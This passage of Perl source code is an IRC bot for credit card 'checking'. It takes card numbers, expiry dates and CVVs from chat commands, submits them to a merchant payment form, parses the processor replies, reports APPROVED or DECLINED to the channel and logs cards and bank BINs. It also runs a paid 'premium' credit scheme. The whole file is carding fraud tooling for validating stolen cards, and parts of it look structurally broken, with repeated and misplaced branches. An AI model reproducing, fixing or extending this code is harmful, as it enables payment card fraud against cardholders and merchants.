- }elsif ($allo =~/&L_SHORTMESSAGE0=Processor Decline&L_LONGMESSAGE0=This transaction cannot be processed%2e&L_SEVERITYCODE0=Error&L_ERRORPARAMID0=ProcessorResponse&L_ERRORPARAMVALUE0=(.*)&AMT=(.*)%2e00&CURRENCYCODE=(.*)&AVSCODE=(.*)&CVV2MATCH=(.*)<br \/><br \/>/){
- my ($amount,$current,$avs,$csc) = ($2,$3,$4,$5);
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Decline 0- 7AVS 0:10 $avs 0- 7CVV2 0:10 $csc 0- 7,1BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("ResChecker.txt", "$card 4DECLINED");
- addlog("declined.txt", "$card 4DECLINED");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Decline 0- 7AVS 0:10 $avs 0- 7CVV2 0:10 $csc 0- 7,1BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- addlog("declined.txt", "$card 4DECLINED");
- }
- ############################################################################################################
- }elsif ($allo =~/This transaction has been declined./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Declined (2) 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("ResChecker.txt", "$card 4DECLINED");
- addlog("declined.txt", "$card 4DECLINED");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Decline (2) 0- 7,1BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- addlog("declined.txt", "$card 4DECLINED");
- }
- ############################################################################################################
- }elsif ($allo =~/DECLINED/){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Declined (2) 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("ResChecker.txt", "$card 4DECLINED");
- addlog("declined.txt", "$card 4DECLINED");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Decline (2) 0- 7,1BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- addlog("declined.txt", "$card 4DECLINED");
- }
- ############################################################################################################
- }elsif ($allo =~/There was a problem submitting the form/){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Problem submitting! 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("ResChecker.txt", "$card 4DECLINED");
- addlog("declined.txt", "$card 4DECLINED");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Problem submitting! 0- 7,1BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- addlog("declined.txt", "$card 4DECLINED");
- }
- ############################################################################################################
- }elsif ($allo =~/Your order has been received. Thank you for your business!/){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- $irc_socket->write("PRIVMSG $master :SPAMMER => 4,1 BOS 8!4 MERCHANT DOWN 0-4 BOT OUT 8! ");
- $irc_socket->write("PART @generalchans\r\n");
- $irc_socket->write("quit\r\n");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"");
- }
- ############################################################################################################
- }elsif ($allo =~/The credit card number is invalid./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Invalid Card 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Invalid Card or Expired 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/Please use a different payment card/){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Card Rejected 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Card Rejected 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/Please enter a valid credit card expiration date./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Card Expired 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Card Expired 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/Please enter a valid credit card expiration year./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Invalid Card 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Invalid Card 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/The configuration with processor is invalid. Call Merchant Service Provider./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Call Merchant Service Provider. 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Call Merchant Service Provider. 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- print "card $variable!";
- }
- }
- }elsif ($allo =~/Please enter a valid credit card expiration year./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 15CARD EXPIRED14,1 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 15CARD EXPIRED14,1 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############# FORMATING #############
- }elsif ($msg{'what'} =~ /\!chk/){
- if($auto == 1){
- &respond_to_privmsg(\%msg,"$nick 3Usage :7 !cc <ccnum> <mmyy> <cvv>");
- }
- }
- ############# NOTICE BOT OFF #############
- #}else{
- #&respond_to_privmsg(\%msg,"7,1 $nick 0:3 CHECKER 0: 4OFF ");
- #}
- #}
- ################################################################################################################################################
- ################################################ ANOTHER TYPE CARD OR PREMIUM USER #############################################################
- ################################################################################################################################################
- if($msg{'what'} =~ /\!cc\s+(\b[4536][0-9]{13,16}\b)\s+(\d{4})\s+(\b[0-9]{3,4}\b)\s+(\b[0-9]{1,4}\b)/){
- if($auto == 1){
- my ($card,$expmes,$verifica,$amount) = ($1,$2,$3,$4);
- my $m = substr($expmes,0,2);
- my $y = substr($expmes,2,4);
- if ($m == "01"){$m = "01";}
- if ($m == "02"){$m = "02";}
- if ($m == "03"){$m = "03";}
- if ($m == "04"){$m = "04";}
- if ($m == "05"){$m = "05";}
- if ($m == "06"){$m = "06";}
- if ($m == "07"){$m = "07";}
- if ($m == "08"){$m = "08";}
- if ($m == "09"){$m = "09";}
- my $range = 10;
- my $minimum = 1;
- my $curs = '$';
- my $random_number = 0;
- #my $random_number = int(rand($range)) + $minimum;
- my $urutan = 80;
- my $minimal = 1;
- my $nomor_acak = 01;
- #my $nomor_acak = int(rand($urutan)) + $minimal;
- #my $creditmax = 180;
- #my $creditmi = 1;
- #my $credits = int(rand($creditmax)) + $creditmi;
- my $tax = 5.00;
- my $total = $amount+$tax;
- my $cred = 190;
- my $credi = 1;
- my $credits = int(rand($cred)) - $credi;
- my $varType = 0;
- my $sleep = time()-20;
- my $name = "submit";
- my $value = "submit";
- my $button = "btn-confirm";
- ################## RANDOM IDENTITY ##################
- ### PREMIUM ONLY - CONTACT MOSSAD
- ############### DETECT NICK BY MOSSAD ###############
- open FILE,"premium.txt";
- my @results = <FILE>;
- close FILE;
- my $chknickVar = 0;
- foreach my $url (@results){
- if($url =~ m/$nick/ && $chknickVar == 0) {
- $chknickVar = 1;
- }
- }
- if($chknickVar == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 0:14 Sorry, You're not Premium User! 0- 3Please Contact $master ", $nick );
- goto Akhir;
- }
- ########## CHECKING PREMIUM CREDITS BY MOSSAD ##########
- open(FILE, "+<premium.txt") or die "$! error";
- my @results = <FILE>;
- close FILE;
- my $chkcreditVar = 0;
- foreach my $url (@results){
- if($url =~ m/$nick\|0/ && $chkcreditVar == 0) {
- $chkcreditVar = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 0:14 Access Denied! 0-8 Premium Credit 0:9 0 0- 3Please Top Up Your Balance! ", $nick );
- goto Akhir;
- }
- }
- ######### AUTO MANAGE PREMIUM CREDITS BY MOSSAD #########
- my $fredatabase = "premium.txt";
- open FILE,"$fredatabase";
- my @results = <FILE>;
- close FILE;
- my $freinfo = $1;
- my $frevar = 0;
- foreach my $url(@results) {
- if($url =~ m/$nick\|(.*)/ && $frevar == 0) {
- $freevar = 1;
- $frebalance = $1;
- if($frebalance >= 1) {
- $mychkvar = 1;
- $balance = $frebalance - 1;
- my $filename = 'premium.txt';
- my $data = read_file($filename);
- $data =~ s/$nick\|$frebalance/$nick\|$balance/g;
- write_file($filename, $data);
- }
- }
- }
- ##################### TYPE CARD #####################
- if (substr($card,0,1)==4) {
- $cctype = "Visa";
- }
- if (substr($card,0,1)==5) {
- $cctype = "MasterCard";
- }
- if (substr($card,0,1)==6) {
- $cctype = "Amex";
- }
- if (substr($card,0,1)==3) {
- $cctype = "Discover";
- }
- ##################### MERCHANT BOT #####################
- my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 1},);
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('update your merchant here');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- $agent->form_number(1);
- { local $^W; $agent->current_form->value('nombre', ''.$card.''); };
- { local $^W; $agent->current_form->value('exp_month', ''.$m.''); };
- { local $^W; $agent->current_form->value('exp_year', '20'.$y.''); };
- { local $^W; $agent->current_form->value('the_code', ''.$verifica.''); };
- { local $^W; $agent->current_form->value('chrono_verification', '1234'); };
- $agent->submit();
- print $agent->content,"\n";
- my $allo=$agent->content;
- ############################################################################################################
- if ($allo =~/The transaction has been declined because of an AVS mismatch./){
- my ($avs,$transid,$test,$kok) = ($2,$3,$4,$5);
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 9APPROVED! 0-14 AVS Mismatch (27) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 9APPROVED! 0-14 AVS Mismatch (27) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/Your donation was processed successfully./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 9APPROVED! 0-14 AVS Mismatch (27) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 9APPROVED! 0-14 AVS Mismatch (27) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/An error occurred during processing./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: An error occurred during processing - 4[0,1MARKED LOST4] 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: An error occurred during processing - 4[0,1MARKED LOST4] 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/A duplicate transaction has been submitted./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: Card Submitted - 4[0,1CARD REJECTED4] 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: Card Submitted - 4[0,1CARD REJECTED4] 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/The credit card has expired./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 7CARD EXPIRED14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 7CARD EXPIRED14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/This transaction cannot be accepted at this time./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-4 MERCHANT DOWN 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-4 MERCHANT DOWN 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/The merchant does not accept this type of credit card./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 7CARD NUMBER INVALID14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 7CARD NUMBER INVALID14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:10 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/This transaction has been declined./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 4DECLINED! 0-14 Declined (2) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 4DECLINED! 0-14 Declined (2) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/This transaction has been declined./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 4DECLINED! 0-14 Declined (2) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 4DECLINED! 0-14 Declined (2) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/Your order has been received. Thank you for your business!/){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-4 MERCHANT DOWN 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-4 MERCHANT DOWN 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/The credit card number is invalid./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14CARD NUMBER INVALID14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14CARD NUMBER INVALID14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/Invalid card number/){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14CARD NUMBER INVALID14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14CARD NUMBER INVALID14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- }elsif ($allo =~/A security limit has been reached for the account./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14A security limit has been reached for the account.14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14A security limit has been reached for the account.14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############################################################################################################
- print "card $variable!";
- }
- }
- }elsif ($allo =~/Credit card expiration date is invalid./){
- open FILE,"banklist.txt";
- my @results = <FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14CARD EXPIRED14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14CARD EXPIRED14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
- addlog("bankinfo.txt", "BIN : $nuova");
- }
- ############# FORMATING #############
- }elsif ($msg{'what'} =~ /\!cc/){
- if($auto == 1){
- &respond_to_privmsg(\%msg,"$nick 3Usage :7 !cc <ccnum> <mmyy> <cvv> <set amount>");
- }
- }
- ################################################################################################################################################
- ################################################################################################################################################
- if($msg{'what'} =~ /\!bank\s+(\d{6})/ && $auto == 1){
- my ($card) = ($1);
- my $database = "banklist.txt";
- open FILE,"$database" or die "Errore nell'apertura: $!";
- my @results=<FILE>;
- close FILE;
- my $bank = 0;
- my $nuova = substr($card,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/&& $bank == 0) {
- $bank = 1;
- my ( $test, $tests ) = ( 3, 15 );
- my $num = int( rand( $test - $tests + 1 ) ) + $tests;
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 3 $nuova 0:$num $19,1 14,14 15,15 ");
- }
- }
- if($bank == 0){
- &respond_to_privmsg(\%msg,"15,15 14,14 11,1 3 $nuova 0,1: 14Could Not Retreive Bank Name!9,1 14,14 15,15 ");
- }
- }
- ################################################################################################################################################
- ################################################################################################################################################
- if($msg{'what'} =~ /\!state\s+(.*)/ && $auto == 1){
- my ($states) = ($1);
- my $database = "state.txt";
